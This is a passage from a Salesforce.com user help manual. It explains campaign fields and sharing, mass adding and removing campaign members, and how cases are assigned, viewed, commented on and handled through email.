of whether you have read access to them.
All campaigns in a hierarchy must use the same currency.
For organizations using multiple currencies, opportunity
amounts are converted to the campaign currency. If your
currency does not match the campaign currency, the amount
is converted to your currency and displays in parentheses.
For organizations using advanced currency management,
opportunity amounts are converted to the campaign currency
via dated exchange rates. If the campaign currency does not
match your currency, the total of the opportunity amounts are
converted using standard exchange rates, not dated exchange
rates, and that amount displays in parentheses.

Total Value Won Opportunities Calculated field for amount of all closed/won opportunities
associated with the campaign. (Read only) Salesforce.com
automatically calculates this amount using all associated records
regardless of whether you have read access to them.

1314
Campaigns Campaign Fields

Field Description
For organizations using multiple currencies, opportunity
amounts are converted to the campaign currency. If your
currency does not match the campaign currency, the amount
is converted to your currency.
For organizations using advanced currency management,
opportunity amounts are converted to the campaign currency
via dated exchange rates. If the campaign currency does not
match your currency, the total of the opportunity amounts are
converted using standard exchange rates, not dated exchange
rates, and that amount displays in parentheses.
This field cannot be referenced in formulas for workflow rules,
validation rules, field updates, or approval processes, but it can
be referenced in custom formula fields. Updates to this field
do not trigger workflow rules.
Total Value Won Opportunities in Hierarchy Calculated field for amount of all closed/won opportunities
associated with the campaign hierarchy. (Read only)
Salesforce.com automatically calculates this amount using all
associated records regardless of whether you have read access
to them.
All campaigns in a hierarchy must use the same currency.
For organizations using multiple currencies, opportunity
amounts are converted to the campaign currency. If your
currency does not match the campaign currency, the amount
is converted to your currency.
For organizations using advanced currency management,
opportunity amounts are converted to the campaign currency
via dated exchange rates. If the campaign currency does not
match your currency, the total of the opportunity amounts are
converted using standard exchange rates, not dated exchange
rates, and that amount displays in parentheses.
This field cannot be referenced in formulas for workflow rules,
validation rules, field updates, or approval processes, but it can
be referenced in custom formula fields. Updates to this field
do not trigger workflow rules.
Total Won Opportunities in Hierarchy Calculated field for the total number of won opportunities
associated with the campaign hierarchy. Salesforce.com
automatically calculates this amount using all associated records
regardless of whether you have read access to them. This field
cannot be referenced in formulas for workflow rules, validation
rules, field updates, or approval processes, but it can be
referenced in custom formula fields. Updates to this field do
not trigger workflow rules.

1315
Campaigns Sharing Campaigns

Field Description
Type Type of campaign, for example, Direct Mail or Referral
Program. Entry is selected from a picklist of available values,
which are set by an administrator. Each picklist value can have
up to 40 characters.

See Also:
Displaying and Editing Campaigns
Creating Campaigns

Sharing Campaigns
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaigns: “Read” on campaigns
To share campaigns: “Read” on campaigns
AND
Marketing User checked in your user information

Your administrator defines your organization's sharing model for campaign access. However, you can extend sharing privileges
for your own campaigns individually. Use campaign sharing to increase access to your campaigns; you cannot restrict access
beyond your organization’s default access levels.
To view and manage sharing details, click Sharing on the campaign detail page. The Sharing Detail page lists the users,
groups, roles, and territories that have sharing access to the campaign. On this page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

Special Considerations
• To share a campaign, you must have Public Full Access to the campaign and have the Marketing User checkbox selected
in your personal information.
• The Sharing button is available depending on your organization-wide default for campaigns.

1316
Campaigns Deleting Campaigns

• Make sure you are sharing records with users who have the appropriate “Read” object permission on their profiles for
viewing the shared records.
• Sharing a campaign does not automatically grant read access to all the campaign members. Make sure that the user you
are sharing a campaign with has visibility to the associated leads or contacts.
• The campaign hierarchy statistic fields provide aggregate data for a parent campaign and all the campaigns below it in the
hierarchy, regardless of whether a user has sharing rights to a particular campaign within the hierarchy. Therefore, consider
your organization's campaign sharing settings when enabling campaign hierarchy statistics. If you do not want users to see
aggregate hierarchy data, remove any or all of the campaign hierarchy statistic fields from the Campaign Hierarchy related
list. These fields will still be available for reporting purposes.

See Also:
Granting Access to Records
Viewing Which Users Have Access
Viewing Campaign Hierarchies
User Permissions on Profiles
Viewing Campaign Hierarchy Statistics

Deleting Campaigns
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To delete campaigns: “Delete” on campaigns
AND
Marketing User checked in your user information

To delete a campaign, click Del next to the campaign on the campaigns list page. You can also delete a campaign by clicking
Delete on the campaign detail page.
When you delete a campaign, all related events, tasks, and attachments are also deleted. Associated contacts, leads, person
accounts, and opportunities are not deleted with the campaign. The deleted campaign is moved to the Recycle Bin. If you
undelete the campaign, any related items are also restored.

See Also:
Recycle Bin
What is a Person Account?

1317
Campaigns Searching for Campaigns

Searching for Campaigns


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaigns: “Read” on campaigns

To find specific campaigns:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

You can also create a campaign list view to find campaigns that match specific criteria.

See Also:
Search Overview

1318
Campaigns Mass Adding Contacts or Leads to a Campaign

Mass Adding Contacts or Leads to a Campaign


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To add multiple existing contacts to a campaign: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Read” on contacts

To add multiple existing leads to a campaign: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Read” on leads

To add multiple person accounts to a campaign: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Read” on contacts

To add existing contacts, leads, or person account to a campaign from a campaign detail page:

1. View the campaign you want to update.


2. Click Manage Members.
3. Click either Add Members - Existing Contacts or Add Members - Existing Leads.
4. In the first step of the wizard, choose a campaign member status value to assign to the new members.
Note that the name of the campaign from which you navigated is automatically populated.
5. Click Next.
6. In the second step of the wizard, you see a list of potential members who are not associated with your campaign.
Note that person accounts are included in contact list views and can be added to campaigns from them.

a. Check the boxes for the records you want to select. Optionally, check the box in the column header to select all currently
displayed items. Note that up to 250 records can display on the page at a time.
b. Click Add to Campaign. This immediately saves those individuals as campaign members with the chosen status.

1319
Campaigns Mass Removing Contacts or Leads from a Campaign

c. Click the letter links or the Next Page and Previous Page links to view other list pages, and continue adding members
in the same manner.
Note: A confirmation message keeps a running tally of the total number of members added during this session
of the wizard. Any members already added during this wizard session are shown with a read-only check mark
next to them.

d. Optionally, modify the display by choosing a different list view or creating a new list view. Note that you can define
custom list views that restrict results according to campaign name and optionally also by member status. See Creating
Custom List Views on page 1691.

7. When you have added all desired members to your campaign, click Done to exit the wizard.

Mass Removing Contacts or Leads from a Campaign


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To delete multiple existing contacts from a campaign: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Read” on contacts

To delete multiple existing leads from a campaign: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Read” on leads

To remove existing contacts, leads, or person accounts from a campaign:

1. View the campaign detail page for the campaign you want to update.
2. Click Manage Members.
3. Click either Remove Members - Existing Contacts or Remove Members - Existing Leads.
4. Choose the campaign members that you want to remove from the campaign:

a. Check the boxes for the records you want to select. Optionally, check the box in the column header to select all currently
displayed items. Note that up to 250 records can display on the page at a time.
b. Click Remove from Campaign.

1320
Campaigns Mass Removing Contacts or Leads from a Campaign

c. Click the letter links or the Next Page and Previous Page links to view other list pages, and continue removing members
in the same manner.
Note: A confirmation message keeps a running tally of the total number of members removed during this
session of the wizard. Any members already removed during this wizard session are shown with a read-only
check mark next to them.

d. Optionally, modify the display by choosing a different list view or creating a new list view. Note that you can define
custom list views that restrict results according to campaign name and optionally also by member status. See Creating
Custom List Views on page 1691.

5. When you are finished removing members from your campaign, click Done to exit the wizard.

1321
CASES

Cases Overview
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

A case is a description of a customer’s feedback, problem, or question. Use cases to track and solve your customers’ issues. You
can enter cases manually in the Cases tab. To gather customer feedback from your company’s website and customer emails,
set up:

• Web-to-Case
• Email-to-Case or On-Demand Email-to-Case

Your customers can also create cases on your Self-Service portal or Customer Portal.
The Cases tab lets you quickly create, edit, locate, and view cases. You can also sort and filter cases using standard and custom
list views. Professional, Enterprise, Unlimited, and Developer Edition organizations can enable the console to quickly find,
view, and edit cases and their associated records on one screen. See What is the Console? on page 1366.

See Also:
Cases Home
What is the Console?
Administrator setup guide: Case Management Implementation Guide

Cases Home
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view Cases tab: “Read” on cases
To view cases: “Read” on cases
To create cases: “Create” on cases

Clicking on the Cases tab displays the cases home page.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
To view the cases in a queue, choose that queue list from the drop-down list. For every queue your administrator creates,
Salesforce.com adds a corresponding queue list view.

1322
Cases Cases Home

Note: The organization-wide sharing model for an object determines the access users have to that object's records
in queues:
Public Read/Write/Transfer
Users can view and take ownership of records from any queue.

Public Read/Write or Public Read Only


Users can view any queue but only take ownership of records from queues of which they are a member or,
depending on sharing settings, if they are higher in the role or territory hierarchy than a queue member.

Private
Users can only view and accept records from queues of which they are a member or, depending on sharing
settings, if they are higher in the role or territory hierarchy than a queue member.
Regardless of sharing model, users must have the “Edit” permission to take ownership of records in queues of which
they are a member. Administrators, users with the “Modify All” object-level permission for Cases, and users with
the “Modify All Data” permission, can view and take records from any queue regardless of the sharing model or
their membership in the queue.

• In Professional, Enterprise, Unlimited, and Developer Edition organizations that have set up the console to include cases,
click the Console tab to display the console, which allows you to find, view, and edit cases and their associated records on
one screen. See Displaying the Console on page 1374.

• In the Recent Cases section, select an item from the drop-down list to display a brief list of the top cases matching that
criteria. From the list, you can click any case name to go directly to the case detail. Toggle the Show 25 items and Show
10 items links to change the number of items that display. The fields you see are determined by the “Cases Tab” search
layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and
Developer Editions only). The Recent Cases choices are:

Recent Cases Choice Description


My Open The last ten or twenty-five open cases that you own, with
the oldest case listed first. This list only includes records
owned by you.
Recently Viewed The last ten or twenty-five cases you viewed, with the most
recently viewed case listed first. This list is derived from your
recent items and includes records owned by you and other
users.

• In the Recent Cases section, click New to create a new case.


• Under Reports, click any report name to jump to that report.
• In Professional, Enterprise, Unlimited, and Developer Edition organizations, select any of the links under Case Tools to
access utilities for managing your cases.

1323
Cases Assigning Cases

• If cases are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Cases from
Connections to view cases that your business partners have shared with you.

See Also:
Cases Overview
Displaying and Editing Cases
Creating Cases
Cloning Cases
Closing Cases
Deleting Cases
Creating Custom List Views
What is the Console?

Assigning Cases
The case assignment options vary according to which Salesforce.com Edition you have.

User Permissions Needed


To view cases: “Read” on cases
To take ownership of cases from queues: “Edit” on cases

You can assign cases to users or queues in a variety of ways.

• Using an Assignment Rule for Web-to-Case, Email-to-Case, or On-Demand Email-to-Case


In Professional, Enterprise, Unlimited, and Developer Edition organizations, web-and email-generated cases are automatically
assigned to users or queues based on criteria in your active case assignment rule. (See Managing Assignment Rules on page
699.)
Cases that do not match the assignment rule criteria are automatically assigned to the Default Case Owner specified
in the Support Settings.
• Using an Assignment Rule when Creating or Editing a Case
In Professional, Enterprise, Unlimited, and Developer Edition organizations, when creating or editing a case, you can
check a box to assign the case automatically using your active case assignment rule. An email is automatically sent to the
new owner if your administrator specified an email template in the matching rule entry. If you want this checkbox to be
selected by default, your administrator can modify the appropriate page layout.
• Changing Ownership of Multiple Cases (administrators only)
From any case list page, an administrator, or a user with the “Manage Cases” permission, can manually assign one or more
cases to a single user or queue. See Changing Multiple Cases on page 1329.
• Taking Cases from a Queue

1324
Cases Assigning Cases

To take ownership of cases in a queue, go to the queue list view, check the box next to one or more cases, and click Accept.
See Changing Multiple Cases on page 1329.
Note: The organization-wide sharing model for an object determines the access users have to that object's records
in queues:
Public Read/Write/Transfer
Users can view and take ownership of records from any queue.

Public Read/Write or Public Read Only


Users can view any queue but only take ownership of records from queues of which they are a member or,
depending on sharing settings, if they are higher in the role or territory hierarchy than a queue member.

Private
Users can only view and accept records from queues of which they are a member or, depending on sharing
settings, if they are higher in the role or territory hierarchy than a queue member.
Regardless of sharing model, users must have the “Edit” permission to take ownership of records in queues of which
they are a member. Administrators, users with the “Modify All” object-level permission for Cases, and users with
the “Modify All Data” permission, can view and take records from any queue regardless of the sharing model or
their membership in the queue.

• Changing Ownership of One Case


To transfer a single case you own or have read/write privileges to, click Change next to the Case Owner field on the case
detail page, and specify a user, partner user, or queue. Make sure that the new owner has the “Read” permission on cases.
The Change link displays only on the detail page, not the edit page.
In Professional, Enterprise, Unlimited, and Developer Edition organizations, check the Send Notification Email
box to automatically send an email to the new case owner. The template for this email is specified in the Support Settings.
• Creating a Case Manually (default assignment)
When you create a case from the Cases tab, you are automatically listed as the case owner, unless you check the box to
assign the case via your assignment rule. See Creating Cases on page 1339.

See Also:
Displaying and Editing Cases
Changing Multiple Cases
Enabling Cases in the Partner Portal
Assigning Cases in the Partner Portal

1325
Cases Assigning Cases

Enabling Cases in the Partner Portal


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To enable cases for partner users: “Manage Users”

When you enable cases in the partner portal, you can assign cases to partner users directly or using assignment or escalation
rules. Partner users can edit cases, create new cases, add case comments, reassign cases, find case solutions, and create case
teams. Partner users cannot edit case comments or associate assets with cases.
Note: The Cases tab is only available to partner users with Gold Partner or Partner licenses.

To enable cases in the partner portal:

1. Add the Cases tab to the list of available tabs in the partner portal.
2. In the partner user profile, verify that the cases standard tab setting is set to Default On.
3. In the partner user profile, enable the “Read,” “Create,” and “Edit” standard object permissions for cases.

After enabling cases in the partner portal, consider the following tips:

• Specify a case creation template in Setup ➤ Cases ➤ Support Settings to allow partner users to send a notification email
to new contacts assigned to cases.
• Configure case team roles in Setup ➤ Customize ➤ Cases ➤ Case Teams ➤ Case Team Roles to allow your partners
to add case team members.
• When viewing an email associated with a case, Email Message List, Next, and Previous links are not available to portal
users.

See Also:
Partner Portal Overview
Cases Overview
Customizing Support Settings
Defining Case Team Roles
Predefining Case Teams

1326
Cases Assigning Cases

Assigning Cases in the Partner Portal


Available in: Enterprise and Unlimited Editions

User Permissions Needed


To assign cases to partners: “Edit” on cases
AND
“Transfer Cases” or “Transfer Record”

Assigning Cases to Partner Users


Before you can assign cases to partner portal users, you must configure cases for partner users. In addition to the required user
permissions for this feature, you must have access to view the cases you are updating.
To assign cases to partner users:
1. Select a case from the Cases tab or a Cases related list.
2. On a case detail page, click [Change] next to the Case Owner field.
3. Select Partner User from the Owner drop-down list and enter the name of the partner user, or click the lookup icon ( )
to search for a partner user.
4. Optionally, select the Send Notification Email checkbox to send an email to the new owner.
5. Click Save.
The partner user will be able to view and edit the case from the partner portal.
You can also create case assignment rules and escalation rules that automatically assign cases to partner users or queues based
on certain properties of those cases.
For information about how your partner users can create and edit cases in the partner portal, download the Partner Portal
User Help.

See Also:
Partner Portal Overview
Creating Cases
Displaying and Editing Cases

1327
Cases Viewing Case Lists

Viewing Case Lists


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view case lists: “Read” on cases
To create cases: “Create” on cases

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

The cases list page displays a list of cases in your current view. From this page, you can view detailed case information and
access other related information. In Professional, Enterprise, Unlimited, and Developer Edition organizations that have set
up the console, you can view case list views via the console's list view.

• Depending on your user permissions on cases, you may see Edit or Del links. Click Edit to edit a particular case. Click
Del to delete a case.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Printable View to display the current list view in a format that is ready for printing.
• Check the box next to one or more cases and then use the buttons at the top of the view to close the cases, take ownership
of them, or change the case status or owner. See Changing Multiple Cases on page 1329.
• Cases with a red arrow have been automatically escalated via your organization’s escalation rule.
• To take ownership of cases in a queue, view the queue list view, check the box next to one or more cases, and then click
Accept.
Note: The organization-wide sharing model for an object determines the access users have to that object's records
in queues:
Public Read/Write/Transfer
Users can view and take ownership of records from any queue.

Public Read/Write or Public Read Only


Users can view any queue but only take ownership of records from queues of which they are a member or,
depending on sharing settings, if they are higher in the role or territory hierarchy than a queue member.

Private
Users can only view and accept records from queues of which they are a member or, depending on sharing
settings, if they are higher in the role or territory hierarchy than a queue member.
Regardless of sharing model, users must have the “Edit” permission to take ownership of records in queues of which
they are a member. Administrators, users with the “Modify All” object-level permission for Cases, and users with
the “Modify All Data” permission, can view and take records from any queue regardless of the sharing model or
their membership in the queue.

1328
Cases Changing Multiple Cases

• Click New Case or select Case from the Create New drop-down list in the sidebar to create a case. These options display
only if you have the “Create” permission on cases. See Creating Cases on page 1339.
• Click any column heading to sort the cases in ascending order using that column’s information. Click the heading a second
time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page or Previous Page link to go to the next or previous set of cases.
• At the bottom of the list view, select fewer or more to view a shorter or longer display list.

Note: Professional, Enterprise, Unlimited, and Developer Edition organizations can grant additional access to cases
beyond what the sharing model allows. See Sharing Cases on page 1346.

See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

Changing Multiple Cases


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change case owner: “Transfer Cases”  OR “Transfer Record”
AND
“Edit” on cases

To close and change the status of cases: “Manage Cases”

From any case list page, administrators can “mass update” multiple cases at once. From any queue list view, users can take
ownership of one or more cases if they are a member of that queue, if they are higher in the role or territory hierarchy than a
queue member, or if the organization’s default sharing for cases is Public Read/Write/Transfer. Simply check the boxes next
to the desired cases and click the appropriate button. The following actions are possible:

• Accept—Assigns you as the owner of the selected cases in a queue list view. Any attached open activities are transferred
to you as well. In organizations that do not have the Public Read/Write/Transfer sharing model for cases, you can take
cases only from queues of which you are a member or if you are higher in the role hierarchy than a queue member.
• Change Owner—Assigns the cases to the one user or queue you specify. Any attached open activities are transferred to
the new owner as well. When putting cases in a queue, the open activities are not transferred.
In addition to the required user permissions for this feature, you must have read sharing access to the cases you are updating.
Note: When you change case ownership, any associated open activities that are owned by the current case owner
are transferred to the new owner.

1329
Cases Displaying and Editing Cases

• Close—Closes the selected cases using the values you specify. You can set a common Status and Reason and add any
comments.
You must have the “Manage Cases” permission and read/write sharing access to the cases to use this feature.
• Change Status—Changes the Status of the cases to the value you set.
You must have the “Manage Cases” permission and read/write sharing access to the cases to use this feature.

See Also:
Changing Ownership

Displaying and Editing Cases


Case assignment rules, case escalation rules, and the Self-Service portal are available in: Professional, Enterprise, Unlimited,
and Developer Editions.

User Permissions Needed


To view cases: “Read” on cases
To change cases: “Edit” on cases

Displaying Cases
Once you have located a case on the cases home or list pages, click the case name to display the details. From an account,
contact, or solution detail page, you can also click the case number in the Cases related list. The Cases related list shows
all cases associated with that item.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

In Professional, Enterprise, Unlimited, and Developer Edition organizations that have set up the console, you can display
cases in the Console tab, which allows you to find, view, and edit cases and their associated records on one screen. For
more information, see Displaying the Console on page 1374 and Navigating within the Console.
Cases that display a red arrow have been automatically escalated via your organization’s escalation rule. Cases that display
a red comment icon have a new comment that was added by a customer in the Self-Service portal.

Web Case Display


In Professional, Enterprise, Unlimited, and Developer Edition organizations, cases generated via Web-to-Case display
an additional section of information entitled Web-to-Case Information, which includes all data entered by your customer.

Editing Cases
To update a case, click Edit, and then change the fields you want to update. Note that if you update the Contact Name
field, the Account Name field does not automatically default to the account associated with the contact when you save

1330
Cases Displaying and Editing Cases

the case. However, you can change the Account Name field during subsequent updates. If the contact is a Self-Service
user, he or she can only view cases on the Self-Service portal that are associated with the account on their contact record.
If enabled, you can select Send notification email to contact below the case detail to automatically notify
the contact that you have updated the case (an email is only sent if you have access to the contact); and you can select
Assign using active assignment rules to automatically reassign the case using an active case assignment rule.

When you have finished editing the case, click Save. You can also click Save & New to save the case and create another,
or click Save & Close to save and close the current case.

Note: If your organization enabled inline editing, you can edit fields directly on the detail page.

Tagging Cases
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Replying to Email Cases


To reply and work with cases created via Email-to-Case or On-Demand Email-to-Case, use the Emails related list on
the case.

Closing Cases
To close a case, click Close Case, change the case Status, fill in any other fields, and click Save. Or, if enabled by your
administrator, you can simply select Closed from the Status field on a case edit page and click Save.

Sharing
In Professional, Enterprise, Unlimited, and Developer Edition organizations, share a case and its related information
with other users, groups, or rolesby clicking Sharing. See Sharing Cases on page 1346.

Finding Solutions
In Professional, Enterprise, Unlimited, and Developer Edition organizations, to find a solution for a case, enter relevant
keywords in the search box of the Solutions related list, select the category in which to search (if your organization uses
solution categories), and click Find Solution. Users must have the “Read” permission on solutions to use this button.
Alternatively, if the suggested solutions feature is enabled for cases, click the View Suggested Solutions button to find
relevant solutions to help you solve the case. The solutions that are suggested for the case are found using a formula that
automatically scores the relevancy of each solution to the particular case via word frequency, case similarity, and related
solutions.
If multilingual solutions is enabled for your organization, search results return solutions in all languages that have matching
keywords. However, search results across all languages may not be reliable because terms searched from one language
to another are processed differently.
For more information about using solutions to solve your case, see Solving Cases on page 1344.

Searching Articles
In Enterprise and Unlimited Editions, to find articles to help you solve a case, click Search Articles.
This button is available if Salesforce Knowledge on page 1628 is enabled and you have the "View Articles" permission.
When you find useful articles, attach them to the case. Click Detach to remove articles from a case.

1331
Cases Displaying and Editing Cases

Case Related Lists


The lower portion of the display provides information related to the case including activities, solutions, emails, history,
comments, contact roles, related cases, case team members, assets, and attachments.
You can click individual items to display additional detail. Click more at the bottom of the page or View More below
a related list to display more items. Clicking the New button lets you directly add new items. For example, clicking New
Task lets you add a new task.
The related lists you see are determined by your personal customization, and by any customization your administrator
has made to page layouts or your permissions to view related data.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. Hover your
mouse over a related list hover link to display the corresponding related list and its number of records in an
interactive overlay that allows you to quickly view and manage the related list items. You can also click a related
list hover link to jump down to the content of the related list without having to scroll down the page.

Printing Cases
To open a printable display of all information for a record, click Printable View on the detail page.

To return to the last list page you viewed, click Back to list at the top of the detail page. If your organization has enabled
collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page.
See Navigating on page 42 for more information.

See Also:
Case History
Case Comments
Working with Case Emails
Assigning Cases
Navigating within the Console
What are Multilingual Solutions?
Case Teams Overview

Case History
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view cases: “Read” on cases

The Case History related list of a case detail page tracks the changes to the case. Any time a user modifies any of the standard
or custom fields whose history is set to be tracked on the case, a new entry is added to the Case History related list. All entries
include the date, time, nature of the change, and who made the change. Modifications to the related lists on the case are not
tracked in the case history. For information about setting up which fields are tracked, see Tracking Field History on page 457.

1332
Cases Displaying and Editing Cases

In Professional, Enterprise, Unlimited, and Developer Edition organizations, for automated case changes that result from
Web-to-Case or case assignment or escalation rules, the user listed in the history is the Automated Case User chosen in
the Support Settings; see Customizing Support Settings on page 678.

Case Comments
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view case comments: “Read” on cases
To add case comments and make case comments public: “Edit” or “Create” on cases
To edit or delete case comments added by other users: “Modify All” on cases
To edit, delete, or make public your existing case comments: “Edit Case Comments”

The Case Comments related list of a case detail page displays a list of the comments added to the case. You can add a private
comment to this list by entering text in the Internal Comments field of a case and clicking Save.
Case comments can remain private or be made publicly available to the contact on a case via the Customer Portal or Self-Service
portal.
On the Case Comments related list, click:

• New to add a new comment.


• Edit to modify an existing comment.
• Del to delete an existing case comment.
• Make Public or Make Private to change the public status of a comment on the Customer Portal or Self-Service portal.
Note: If you publish cases and case comments to external contacts via Salesforce to Salesforce, all public case
comments are automatically shared with a connection when you share a case. To stop sharing a comment, select
Make Private.

You can set up your Customer Portal or Self-Service portal to allow customers to make comments on their cases. When a
portal user adds a comment, the case owner receives a notification email. In addition, a comment icon ( ) remains on the
case heading until the case owner views the case.

See Also:
Setting Up Self-Service
Customize the View Cases Page
Editing Case Comments
Customizing Support Settings

1333
Cases Displaying and Editing Cases

Editing Case Comments


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view case comments: “Read” on cases
To add case comments and make case comments public: “Edit” or “Create” on cases
To edit or delete case comments added by other users: “Modify All” on cases
To edit, delete, or make public your existing case comments: “Edit Case Comments”

The Case Comment Edit page allows you to create a new comment or edit an existing comment on a case. Details about the
associated case and all of its previous comments are displayed in the Case Details and Case Comments sections.
To create or modify a case comment:

1. Enter comments related to a case in the Comment field.


2. Optionally, select the Public checkbox to allow the contact associated with the case to view the comment on the Customer
Portal or Self-Service portal and to enable comment notification emails to the contact.
3. Optionally, select the Send Customer Notification checkbox to notify the contact associated with the case of your
new public comment.
The Send Customer Notification checkbox displays when:

• An administrator has enabled case comment notification to contacts via the Support Settings or Self-Service Portal
settings pages
• The comment is marked as Public
• There is a contact associated with the case
• The contact associated with the case has a valid email address

4. Click Save.

See Also:
Case Comments
Displaying and Editing Cases
Deleting Cases

1334
Cases Viewing Case Hierarchies

Viewing Case Hierarchies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view cases: “Read” on cases
To view parent cases: “Read” on cases

A case hierarchy shows you cases that are associated with one another via the Parent Case field. When a case is associated
with a parent case it signifies a relationship between cases, such as a grouping of similar cases for easy tracking, or a division
of one case into multiple cases for various users to resolve. In the case hierarchy, cases are indented to show that they are related
to the parent case above them.

• To view the hierarchy for a case, click View Hierarchy next to the Case Number field on the case detail page.
• To specify that a case is associated with another case, edit the case and type the case number of the parent in the Parent
Case field. Alternatively, you can click the lookup icon to search for a case's case number.

Note: A parent case must exist before it can be entered and saved in the Parent Case field.

• To create a new case that is automatically associated with a case whose detail page you are viewing, click the New button
on the Related Cases related list. From the New drop-down button, you can choose to create either a blank case or a case
with information from the parent case. For more information on the Related Cases related list, see Related Cases on page
1336.

See Also:
Displaying and Editing Cases
Creating Cases

1335
Cases Viewing Case Hierarchies

Related Cases
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view cases: “Read” on cases
To create cases: “Create” on cases

If set up by your administrator, case detail pages include a Related Cases related list, which displays all of the cases directly
below a parent case in a case hierarchy. Cases can be associated with each other via the Parent Case lookup field on a case
edit page. When a case is associated with a parent case it signifies a relationship between cases, such as a grouping of similar
cases for easy tracking, or a division of one case into multiple cases for various users to resolve.
From the Related Cases related list, click:

• New and choose from the drop-down button to create either a blank case or a case with information from the parent case.
• Edit to modify an existing case.
• Cls to close an existing case.

To perform mass actions from the Related Cases related list, select the checkboxes next to the cases you wish to update, and
click:

• Close to close the selected cases using the values you specify.
• Change Owner to assign the cases to the one user or queue you specify.
• Change Status to change the Status of the cases to the value you specify.

For more information on mass actions on cases, see Changing Multiple Cases on page 1329.

See Also:
Viewing Case Hierarchies

1336
Cases Working with Case Emails

Working with Case Emails


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view cases: “Read” on cases
To work with case emails: “Edit” on cases

Cases generated via Email-to-Case or On-Demand Email-to-Case display in an Emails related list. The Emails related list
includes all emails sent by your customer regarding a particular case, as well the email threads between you and your customer.
The first 77 characters of an email message appear in the related list so that you can see what the message is about without
having to click on it.
To work with Email-to-Case or On-Demand Email-to-Case emails:

• Click Send An Email to send an email to a contact, another user, or any other email address. See Sending Email on page
1525 for more information.
• Click Reply to respond to an email. The email response automatically includes the email body as received from the customer.
Enter your response and click Send.
When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce.com to comply with email applications that
require Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 393.
• Click To All to respond to all participants on an email thread.
• Click the subject of the email to view the email. From the email, you can reply to the sender, reply to everyone, forward
the email, or delete it.
• While viewing an email, you can display a list of all the emails associated with the case by clicking Email Message List,
and you can navigate to the case's other emails by clicking Next or Previous.
Note: The Email Message List, Next, and Previous links are not available in the Customer Portal and partner
portal.

• While viewing an email, click Forward to forward it. The email automatically includes the email body as received from
the customer. Optionally, enter text and click Send.
• If the original email was an HTML email, you can click the Click here to view HTML version link to see the HTML
version. If you want to see the entire email header, click the Click here to view original email headers link.
• To view any attachments contained in incoming emails, go to the Attachments related list of the email. To view attachments
sent with outbound emails, view the Attachments related list of outbound emails.
The size limit for an attachment is 5 MB. The user who configured the email agent can view its log file to see if any
attachments exceeded the size limit.
• Click Del to delete an email. Note that a deleted email can be retrieved from the Recycle Bin. However, if you delete an
email from a case, then delete the case, you will not be able to retrieve the deleted email from the Recycle Bin.

1337
Cases Working with Case Emails

In the Email related list, emails are listed in the order received - the first email being the most recent. Emails in the related
list display one of the following statuses:

Email Status Description

New An inbound email that has not been read.


The contents of the Subject field display in bold for emails
with a New Status.

Read An inbound email that has been read but not replied to.

Sent An outbound email.

Replied An inbound email that has been replied to. Replying to a sent
email gives it a replied status.

In the Email related list, the attachment icon displays for emails with attachments.
When a case contains a new (unread) email, an “Email” task associated with that case is automatically created in the case
owner's task list with the email subject displayed. The owner can easily see the new task on the Home tab or from the Open
Activities related list of the case. From the task, the owner can click a link to view the email associated with the case. When
